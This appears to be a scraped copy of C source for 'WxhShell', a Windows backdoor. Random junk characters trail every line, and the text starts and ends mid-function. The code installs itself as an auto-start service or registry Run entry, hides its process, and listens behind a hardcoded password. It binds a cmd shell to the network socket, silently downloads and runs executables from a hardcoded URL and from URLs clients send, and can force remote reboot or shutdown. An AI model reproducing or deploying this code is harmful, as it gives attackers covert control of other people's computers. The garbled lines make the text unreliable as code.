    } =tdSq"jh  
    break; m:CTPzAt  
    } \E4B&!m  
  // 关机 ~Gv#iRi>  
  case 'd': { \NL+}cL/  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); b=PVIZ  
    if(Boot(SHUTDOWN)) 3sm M,fi  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ": ;@Hnb/  
    else { i6PM<X,{;  
    closesocket(wsh); 7^e +  
    ExitThread(0); 1(dj[3Mt  
    } NeOxpn[  
    break; $ 17 su')  
    } JhK/']R  
  // 获取shell )9j06(<A  
  case 's': { ?pGkk=,KB  
    CmdShell(wsh); 3`V1XE.;  
    closesocket(wsh); O/Y)&VG7  
    ExitThread(0); (M-ZQ -  
    break; =_TaA(79  
  } %1U`@0  
  // 退出 9}tG\0tL*  
  case 'x': { h 8 @  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); @9G- m(?*  
    CloseIt(wsh); df*w>xS  
    break; RuRt0Sd3  
    } 773/#c  
  // 离开 {bNXedZ\  
  case 'q': { omX?Bl  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 8\ha@&p  
    closesocket(wsh); QBJ3iQs1  
    WSACleanup(); j6}R7 $JR  
    exit(1); ZU&"73   
    break; fZWGn6$   
        } r64u31.)  
  } ! T9]/H?  
  } Yxd X#3  
-p,x&h,p  
  // 提示信息 b'@we0V@S  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); v"DL'@$Ut{  
} H:{7X1bV  
  } Xh+ia#K  
hZ\+FOx;  
  return; 8nNsrat  
} C 'mL&  
H}0dd"  
// shell模块句柄 u=+q$Q]  
int CmdShell(SOCKET sock) c9Es%@]  
{ =([av7  
STARTUPINFO si; =H5\$&xj4.  
ZeroMemory(&si,sizeof(si)); ^s/  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; f<jb=\}x  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Q[ieaL6&  
PROCESS_INFORMATION ProcessInfo; T~8  .9g  
char cmdline[]="cmd"; t2{~bzq1X  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); /uqu32;o  
  return 0; |FR3w0o  
} Ju` [m  
kAzd8nJ'  
// 自身启动模式 T)CzK<LbR  
int StartFromService(void) ^(x^6d  
{ <I*x0BM=  
typedef struct D$e B ,~  
{ jdqj=Yc  
  DWORD ExitStatus; ctmQWrk|B  
  DWORD PebBaseAddress; u62)QJE  
  DWORD AffinityMask; -#&kYK#Ph  
  DWORD BasePriority; ,t$,idcT+  
  ULONG UniqueProcessId; kUHE\L.Y]  
  ULONG InheritedFromUniqueProcessId; Zf*r2t1&P  
}   PROCESS_BASIC_INFORMATION; ZFh+x@  
%i{;r35M;9  
PROCNTQSIP NtQueryInformationProcess; "i)Yvh[y  
do/)~9[4\  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; "E!mva*NU  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; P1zK2sL_  
!E\[SjY@J  
  HANDLE             hProcess; }qPhx6nP  
  PROCESS_BASIC_INFORMATION pbi; 'md0]R|  
}k$4/7ri  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); wOgE|n  
  if(NULL == hInst ) return 0; S9sR#  
*iX e^<6v  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); N> Jw  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); zzpZ19"`1  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); /L=(^k=a.;  
3HV%4nZLf  
  if (!NtQueryInformationProcess) return 0; yYJY;".H  
Al"3 kRJJ  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); P.WYTst=  
  if(!hProcess) return 0; E;\M1(\u  
WV<tyx9Z  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 8s}J!/2  
2h~-  
  CloseHandle(hProcess); f?fKhu2  
>%b\yl%0  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); SqPtWEq@P  
if(hProcess==NULL) return 0; Sq]pQ8  
jB$SUO`*  
HMODULE hMod; g;p)n  
char procName[255]; H3/caN:  
unsigned long cbNeeded; 1cN')"  
VAQ)Hc]  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); h=VqxGC&  
dXvt6kF  
  CloseHandle(hProcess); 4)-)#`K  
nY-* i!H  
if(strstr(procName,"services")) return 1; // 以服务启动 JyBp-ii  
_cqy`p@"  
  return 0; // 注册表启动 }6zbT-i  
} %FkLQ+v/<  
Xh3;   
// 主模块 6Y*;{\Rd  
int StartWxhshell(LPSTR lpCmdLine) 70W"G X&  
{ t={0(  
  SOCKET wsl; q%3<Juq~$  
BOOL val=TRUE; O mMX$YID  
  int port=0; c-]fKj7  
  struct sockaddr_in door; dz9Y}\2tf  
g$37;d3Tx  
  if(wscfg.ws_autoins) Install(); GY!C|7kN  
h^|5|l  
port=atoi(lpCmdLine); z5cYyx r>  
{a q9i  
if(port<=0) port=wscfg.ws_port; :> -1'HC  
nL `9l1  
  WSADATA data; I`B'1"{  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; iDb;_?  
xp \S2@<  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   xh9qg0d  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); %|Qw9sbd  
  door.sin_family = AF_INET; Y>6.t"?Q^  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); *7gT}O;p 5  
  door.sin_port = htons(port); u:P~j  
|^n3{m  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ! >.vh]8g  
closesocket(wsl); nS.G~c|  
return 1; /MTf0^9  
} Fe=8O ^\  
d.F)9h]XHO  
  if(listen(wsl,2) == INVALID_SOCKET) { !XE aF]8  
closesocket(wsl); 1 i|.h  
return 1; >>'C :7+Y  
} 6F0(aGs  
  Wxhshell(wsl); v"6 \=@  
  WSACleanup(); 5 9 2;W-y  
rGwIcx(%  
return 0; >l1 r,/\\  
x"B' zP  
} `aSM8C\  
Y*YFB|f?  
// 以NT服务方式启动 eD#XDK  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) [I+9dSM1t  
{ 'ig, ATY  
DWORD   status = 0; _9If/RD  
  DWORD   specificError = 0xfffffff; j'rS&BI G  
m2bDHQ+  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 6qp5Xt+  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; I44s(G1j l  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; t8J/\f=  
  serviceStatus.dwWin32ExitCode     = 0; RVM&4#E  
  serviceStatus.dwServiceSpecificExitCode = 0; /p`&;/V|  
  serviceStatus.dwCheckPoint       = 0; 1 =GI&f2I  
  serviceStatus.dwWaitHint       = 0; b)} +>Wx  
4MvC]_&  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); MiGcA EF;  
  if (hServiceStatusHandle==0) return; n'w,n1z7  
v548ysE)  
status = GetLastError(); 5G*II_j  
  if (status!=NO_ERROR) P'[<A Z  
{ m#@_8_ M  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; hl/itSl$  
    serviceStatus.dwCheckPoint       = 0; "ED8z|]j  
    serviceStatus.dwWaitHint       = 0; :{}_|]>K  
    serviceStatus.dwWin32ExitCode     = status; !q /5yEJ>h  
    serviceStatus.dwServiceSpecificExitCode = specificError;  M[P^]J@  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); T 1Cs>#)  
    return; M}FWBs'*|  
  } 05e>\}{0  
1"E\C/c  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; F+aQ $pQ  
  serviceStatus.dwCheckPoint       = 0; :F(9"L  
  serviceStatus.dwWaitHint       = 0; `lCuU~~ag  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); I0w%8bs  
} U6j/BJT"  
^X1wI9V  
// 处理NT服务事件,比如:启动、停止 v<h;Di@  
VOID WINAPI NTServiceHandler(DWORD fdwControl)  W'/>et  
{ zQfkMa.  
switch(fdwControl) <0j{ $.  
{ Ol+Kp!ocY  
case SERVICE_CONTROL_STOP: pM$ @m]  
  serviceStatus.dwWin32ExitCode = 0; A" !n1P  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; x mo&![P  
  serviceStatus.dwCheckPoint   = 0; 3)E(RyQA3  
  serviceStatus.dwWaitHint     = 0; *g7DPN$aQ  
  { >)Dhi+D  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,;iA2  
  } zB)%lb  
  return; s (PY/{8  
case SERVICE_CONTROL_PAUSE: >;lKLGJrd>  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; zG% |0  
  break; vA>W9OI   
case SERVICE_CONTROL_CONTINUE: 8F6h#%9  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ^#SBpLw  
  break; &=w|vB)(p  
case SERVICE_CONTROL_INTERROGATE: z^`]7i  
  break; avNLV  
}; PdE>@0X?M  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); FmT `Oa>  
} Mtp%co)f  
uw_?O[ZA[  
// 标准应用程序主函数 %KV2< t?  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) #x)}29%e#  
{ )x\z@g  
$h[Yzl  
// 获取操作系统版本  Alu5$6X  
OsIsNt=GetOsVer(); $WaZ_kt  
GetModuleFileName(NULL,ExeFile,MAX_PATH); i^g~~h F  
$I8[BYblB  
  // 从命令行安装 &9P<qU^N)  
  if(strpbrk(lpCmdLine,"iI")) Install(); a@ W7<9fY;  
OlGR<X  
  // 下载执行文件 azGn P3_  
if(wscfg.ws_downexe) { eV;me>,  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) G11cNr>*  
  WinExec(wscfg.ws_filenam,SW_HIDE); 2ksA.,UB^9  
} [j0w\{  
JMsHK,(  
if(!OsIsNt) { \y~)jq:d"  
// 如果时win9x,隐藏进程并且设置为注册表启动 'p)QyL`d  
HideProc(); fValSQc!U  
StartWxhshell(lpCmdLine); $ I<|-]u  
} uPU#c\  
else l>Av5g)  
  if(StartFromService()) K-@bwB7~s  
  // 以服务方式启动 .TN2s\:]jw  
  StartServiceCtrlDispatcher(DispatchTable); fv ?45f  
else R}k69-1vL  
  // 普通方式启动 pt})JMm  
  StartWxhshell(lpCmdLine); ,y.3Fe  
}tR'Hz2  
return 0; qJ Gm8^b-  
} =] KIkS3  
e^frVEV  
[=~!w_  
cjY@Ot*i$  
=========================================== 4A  o{M  
ND,`QjmZ  
_LLshV3  
B9W/bJ6%  
"::9aYd!  
%!wq:~B1  
" m/?h2McS  
~XQ$aRl&  
#include <stdio.h> B1,?{Ur  
#include <string.h> 32y[  
#include <windows.h> M,G8*HI"  
#include <winsock2.h> ` ,-STIh)  
#include <winsvc.h> Oga1u  
#include <urlmon.h> ,\>g  
n)CH^WHL&  
#pragma comment (lib, "Ws2_32.lib") 88YC0!Ni  
#pragma comment (lib, "urlmon.lib") _LsYMUe  
BvJ\x)  
#define MAX_USER   100 // 最大客户端连接数 bL MkPty  
#define BUF_SOCK   200 // sock buffer L8D m9}  
#define KEY_BUFF   255 // 输入 buffer 3N3*`?5c<  
AS q`)Rz  
#define REBOOT     0   // 重启 \7DCwu[0M  
#define SHUTDOWN   1   // 关机 hU+#S(t>b  
p XNtN5@FQ  
#define DEF_PORT   5000 // 监听端口 kPedX  
ZIy(<0  
#define REG_LEN     16   // 注册表键长度 @?M; 'xMbB  
#define SVC_LEN     80   // NT服务名长度 40+fGRyOL  
](n69XX_  
// 从dll定义API !ABLd|tP  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); un&>  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); dcP88!#5-  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); X&,N}9>B  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); >vxWx[fRu  
)BpIxWd?  
// wxhshell配置信息 APOea  
struct WSCFG { .S(^roM;+  
  int ws_port;         // 监听端口 o{g@Nk'f  
  char ws_passstr[REG_LEN]; // 口令 VLx T"]f  
  int ws_autoins;       // 安装标记, 1=yes 0=no iz(m3k:w  
  char ws_regname[REG_LEN]; // 注册表键名 C#T)@UxBZ  
  char ws_svcname[REG_LEN]; // 服务名 ~QO< B2hS}  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 . Nk6  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 *V<)p%l.  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 F]0Jwm{  
int ws_downexe;       // 下载执行标记, 1=yes 0=no WS5"!vz   
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" - BjEL;  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 &gJW6 <  
6ku8`WyoF  
}; Ga?UHw~  
Pgx+\;w"  
// default Wxhshell configuration 13\Sh  
struct WSCFG wscfg={DEF_PORT, a YR\<02  
    "xuhuanlingzhe", 9M nem*  
    1, 'l8eH$  
    "Wxhshell", n }TTq6B  
    "Wxhshell", eoC<a"bJ>  
            "WxhShell Service", qb9}&'@:  
    "Wrsky Windows CmdShell Service", U#iT<#!l2  
    "Please Input Your Password: ", VrudR#q  
  1, E4hq}  
  "http://www.wrsky.com/wxhshell.exe", $Q#?`j  
  "Wxhshell.exe" [ns&Y0Y`t  
    }; ^Jn|*?+l  
@X|ok*v`  
// 消息定义模块 <BQ%8}  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; %{Xm5#m  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Lq%[A*`^  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 65uZ LsQ  
char *msg_ws_ext="\n\rExit."; -z&9 DWH  
char *msg_ws_end="\n\rQuit."; EJv!tyJ\[  
char *msg_ws_boot="\n\rReboot..."; ;+r0 O0;9  
char *msg_ws_poff="\n\rShutdown..."; D`8E-Bq  
char *msg_ws_down="\n\rSave to "; ;g6 nHek  
V02309Y  
char *msg_ws_err="\n\rErr!"; & 8zk3  
char *msg_ws_ok="\n\rOK!"; RlPjki"Mg  
l(.7t'  
char ExeFile[MAX_PATH]; :S#eg1y.w]  
int nUser = 0; ADTU{6UPS  
HANDLE handles[MAX_USER]; {~":;  
int OsIsNt; X3 <SP  
Yo>%s4_,  
SERVICE_STATUS       serviceStatus; DCz\TwzU  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; N4' .a=1  
rffVfw  
// 函数声明 z/pDOP Ku  
int Install(void); Xx=K?Z?3.  
int Uninstall(void); nIG[{gGX  
int DownloadFile(char *sURL, SOCKET wsh); `Uu^I   
int Boot(int flag); #cR57=M}  
void HideProc(void); K~P76jAe$  
int GetOsVer(void); HE9. k.sS  
int Wxhshell(SOCKET wsl); "MW55OWYU  
void TalkWithClient(void *cs); 1LV|t+Sex  
int CmdShell(SOCKET sock); "tpvENz2s  
int StartFromService(void); $4ka +nfU  
int StartWxhshell(LPSTR lpCmdLine); Pxap;;\  
:p,c%"8  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); $hC~af6  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); W=q?tD~V  
7l[t9ON  
// 数据结构和表定义 <?{ SU   
SERVICE_TABLE_ENTRY DispatchTable[] = ~_ (!}V  
{ _.u~)Q`6  
{wscfg.ws_svcname, NTServiceMain}, \?aOExG I  
{NULL, NULL} hg(KNvl  
}; c>M_?::)0  
4mki&\lw`  
// 自我安装 >6n@\n  
int Install(void) 1 OuSH+  
{ x*3@,GmZl  
  char svExeFile[MAX_PATH]; ]%b0[7[  
  HKEY key; ?U7&R%Lh`  
  strcpy(svExeFile,ExeFile); n\~"Wim<b  
}S Y`KoC1  
// 如果是win9x系统,修改注册表设为自启动 a g|9$  
if(!OsIsNt) { Vjv6\;tt8  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { t201ud2$  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); hj%}GP{{  
  RegCloseKey(key); aMe%#cLI  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { =iA"; x  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); r9U[-CX:"  
  RegCloseKey(key); <6~/sa4GN  
  return 0; `PXoJl  
    } !.x=r  
  } Y;~EcM  
} rCV$N&rK  
else { LX&=uv%-^  
Ly@U\%.  
// 如果是NT以上系统,安装为系统服务 MZgmv  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); &Z#Vw.7U  
if (schSCManager!=0) 8Xt=eL/P  
{ "i;*\+x  
  SC_HANDLE schService = CreateService &e5^v  
  ( oXu~9'm$  
  schSCManager, p?EEox  
  wscfg.ws_svcname, T#ecLD#  
  wscfg.ws_svcdisp, 2d,wrC<'$  
  SERVICE_ALL_ACCESS, mE)x7  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , M$DwQ}Z  
  SERVICE_AUTO_START, $6qR/#74  
  SERVICE_ERROR_NORMAL, >EPaZp6  
  svExeFile, i[V,IP +  
  NULL, BbXmT"@  
  NULL, ^v()iF !  
  NULL, \J#I}-a&j  
  NULL, ^/4 {\3  
  NULL dA3`b*nC  
  ); /jn:e"0~  
  if (schService!=0) J-HabHv  
  { G5C#i7cpm  
  CloseServiceHandle(schService); \H}@-*z+)  
  CloseServiceHandle(schSCManager); #CBo  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); #RsIxpc  
  strcat(svExeFile,wscfg.ws_svcname); PDa06(t7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ^^W`Lh%9  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); dW] Ej"W  
  RegCloseKey(key); "'LOaf$X  
  return 0; tFb|y+  
    } 2l;ge>D J  
  } LS?` {E   
  CloseServiceHandle(schSCManager); 0:nt#n~_  
} u!156X?[eU  
} &AkzSgP  
 Wl}G[>P  
return 1; Fp* &os  
} lSKv*  
QQ2OZy> W  
// 自我卸载 *>R/(Q  
int Uninstall(void) l-JKcsM  
{ 6r ?cpJV{  
  HKEY key; U7f#Z  
OmQuAG ^\x  
if(!OsIsNt) { oD|+X/F K  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { cc#_acR  
  RegDeleteValue(key,wscfg.ws_regname); YjMbd?v  
  RegCloseKey(key); jw&}N6^G  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { k/6G j}l'o  
  RegDeleteValue(key,wscfg.ws_regname); ^!{ oAzy9  
  RegCloseKey(key); A*?/F:E  
  return 0; +b:h5,  
  } wHDF TIDI  
} vFkyfX(   
} ^Ypb"Wx8  
else { _@}MGWlAPt  
<CdG[Ih  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); RaJ }>e  
if (schSCManager!=0) FkkZyCqZ`  
{ #6#BSZ E  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); #gr+%=S'6C  
  if (schService!=0) m/"=5*pA  
  { &dHm!b  
  if(DeleteService(schService)!=0) { F'T= Alf  
  CloseServiceHandle(schService); A1&>L9nUx  
  CloseServiceHandle(schSCManager); 7Ohu$5\  
  return 0; L< nkI  
  } A+Pm "|  
  CloseServiceHandle(schService); :7AauoI  
  } mqfEs0~I  
  CloseServiceHandle(schSCManager); D=Yag!1  
} Y_TL4  
} "#"Fp&Z7  
e&VR>VJEA  
return 1; ;gw!;!T  
} c&iK+qvh{  
4FP~+  
// 从指定url下载文件 |'>E};D  
int DownloadFile(char *sURL, SOCKET wsh) _S7M5{U_  
{ ` TVcI\W  
  HRESULT hr; j,V$vKP  
char seps[]= "/"; JCMEhI6d*  
char *token; Z~.]ZWj -  
char *file; E;+OD&|  
char myURL[MAX_PATH]; 1Tk\n  
char myFILE[MAX_PATH]; Yi! >8  
z]4g`K+  
strcpy(myURL,sURL); z jNjmC!W  
  token=strtok(myURL,seps); F<'l'AsC-  
  while(token!=NULL) c$UpR"+  
  {  ]9l%  
    file=token; `0i}}Zo  
  token=strtok(NULL,seps); @=| b$E  
  } ;),O*Z|"v  
M%dl?9pbq  
GetCurrentDirectory(MAX_PATH,myFILE); 3[g++B."pC  
strcat(myFILE, "\\"); eDMwY$J  
strcat(myFILE, file); jn3|9x  
  send(wsh,myFILE,strlen(myFILE),0); f;; S  
send(wsh,"...",3,0); )@&?i.  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); "oGM> @q=B  
  if(hr==S_OK) r:\5/0(  
return 0; ff+9(P>*  
else =2V;B  
return 1; m"> =QP  
7XI4=O};&%  
} ,h(+\^ ?,  
Ydd>A\v\;  
// 系统电源模块 i)^ZH#G p  
int Boot(int flag) W1,L>Az^Ts  
{ |$-d, ] V  
  HANDLE hToken; -JW6@L@  
  TOKEN_PRIVILEGES tkp; .j$bCKXGx  
3'NL1du  
  if(OsIsNt) { 9;WOqBD  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); :FgRe,D  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 6}FDLBA  
    tkp.PrivilegeCount = 1; x@R A1&c  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; CjukD%>sde  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); oL/^[TXjH  
if(flag==REBOOT) { XjM)/-w  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) X;a{JjN  
  return 0; A2FU}Ym0=  
} uEO2,1+  
else { 2n r UE  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) H_r'q9@<>  
  return 0; ZN]c>w[ )I  
} >Ti2E+}[M  
  } 0Y`tj  
  else { Pj5#G0i%  
if(flag==REBOOT) { a/`Yh>ou  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) |ssIUJ  
  return 0; 1&L){hg  
} \36;csu  
else { ;77o%J'l  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) .BB:7+  
  return 0; WHk/mAI-s  
} #$^i x  
}  V# %spW  
'/*rCB  
return 1; }4ju2K  
} sWCm[HpG  
[<I `slK  
// win9x进程隐藏模块 zi&d  
void HideProc(void) g#2X'%&+  
{ 9<r}s  
p%y\`Nlgdx  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); !>);}J!e]  
  if ( hKernel != NULL ) 5K-)X9z?  
  { ) CTM  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); e*Med)tc^$  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); wef^o"aP  
    FreeLibrary(hKernel); &>b1ES.>  
  } ;l4 \^E1  
9{#|sABGD  
return; 'i-O  
} T@WMT,J6j  
D}U<7=\3H  
// 获取操作系统版本 YGmdiY:;1  
int GetOsVer(void) Qg.:w  
{ 0e](N`  
  OSVERSIONINFO winfo;  ;I@L  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); #E@i@'T  
  GetVersionEx(&winfo); YfU#kvE'  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) k0uwG'(z9  
  return 1; oKJ7i,xT  
  else Oo .Qz   
  return 0; ~ b_gwJ'  
} #iDFGkK/  
! HC<aWb  
// 客户端句柄模块 BT#g?=n#`  
int Wxhshell(SOCKET wsl) }f'1x%RS^  
{ @O @yJ{(I  
  SOCKET wsh; ,#O8:s  
  struct sockaddr_in client; ?C2;:ol  
  DWORD myID; WkIV  
sYI':UQe  
  while(nUser<MAX_USER) _ 7.y4zQJ  
{ 5hK\YTU  
  int nSize=sizeof(client); LkB!:+v |B  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); GK%ovK  
  if(wsh==INVALID_SOCKET) return 1; oA%[x  
j'x{j %U  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); >7q,[:(gs  
if(handles[nUser]==0) gD =5M\  
  closesocket(wsh); * v]UgPk  
else {f3fc8(p  
  nUser++; dw!Eao47  
  } wKbymmG  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); gI3rF=  
OFbg]{ub?  
  return 0; 6|Q'\  
} ]<LU NxBR  
9D w&b  
// 关闭 socket c3t8yifQ  
void CloseIt(SOCKET wsh) _q4m7C<  
{ ='>UKy[=  
closesocket(wsh); Cw5K*  
nUser--; O3: dOL/C  
ExitThread(0); 2H "iN[2A  
} ,quTMtk~  
,?/<fxIY  
// 客户端请求句柄 %/on\*Vh3  
void TalkWithClient(void *cs) *b_54X%3  
{ ~`H<sJ?9  
PlUjjJU  
  SOCKET wsh=(SOCKET)cs; mkA|gM[g7  
  char pwd[SVC_LEN]; 7#3)&"j  
  char cmd[KEY_BUFF]; D:EF@il  
char chr[1]; V~Lq, oth  
int i,j; GA}^Rh`T-  
Uroj%xN  
  while (nUser < MAX_USER) { aB'@8[]z  
 e5]AB  
if(wscfg.ws_passstr) { LS;anNk@.}  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); sdD[`#  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); = h( n+y<  
  //ZeroMemory(pwd,KEY_BUFF); Ti'kn{ Zv  
      i=0; Y sV  
  while(i<SVC_LEN) { ?!oa15  
1?\Y,+  
  // 设置超时 >cL2PN_y  
  fd_set FdRead; 7k|(5P;  
  struct timeval TimeOut; @~3c;9LkY  
  FD_ZERO(&FdRead); 3wl>a#f  
  FD_SET(wsh,&FdRead); X+8p2xSO|  
  TimeOut.tv_sec=8; /)TEx}wk  
  TimeOut.tv_usec=0;  0 XzO`*  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); mO.U )tL[  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); T%/w^27E  
hM w`e  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); o+TZUMm  
  pwd=chr[0]; ,eCXT=6  
  if(chr[0]==0xd || chr[0]==0xa) { @D=`iG%  
  pwd=0; 7d)' y  
  break; ;i>E @  
  } |lV9?#!  
  i++; W|U1AXU7/  
    } 09 s}@C  
I1O?)x~  
  // 如果是非法用户,关闭 socket V0i$"|F+ E  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); wP"|$HN  
} [CX?Tt  
& jvG]>CS'  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); KL]!E ~i  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 'bPo 5V|  
=i?,y +<  
while(1) { v19`7qgR(  
,O$C9pH9  
  ZeroMemory(cmd,KEY_BUFF); wgrO W]e  
<Q)}  
      // 自动支持客户端 telnet标准   F-0PmO~3+W  
  j=0; or`stBx  
  while(j<KEY_BUFF) { a*y mBGF  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^^uD33@_  
  cmd[j]=chr[0]; +9CUnRv  
  if(chr[0]==0xa || chr[0]==0xd) { |pSoBA9U  
  cmd[j]=0; ]5/U}Um  
  break; GJPZ[bo  
  } ts>}>}@vc  
  j++; ulJYJ+CC!  
    } ^MV%\0o  
=]"|x7'!  
  // 下载文件 =lQ[%&  
  if(strstr(cmd,"http://")) { 5AU3s  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ;(6lN<i U  
  if(DownloadFile(cmd,wsh)) |3ETF|)?  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); DjvgKy=Jr_  
  else B)8Hj).@B  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); vI}S6-"<  
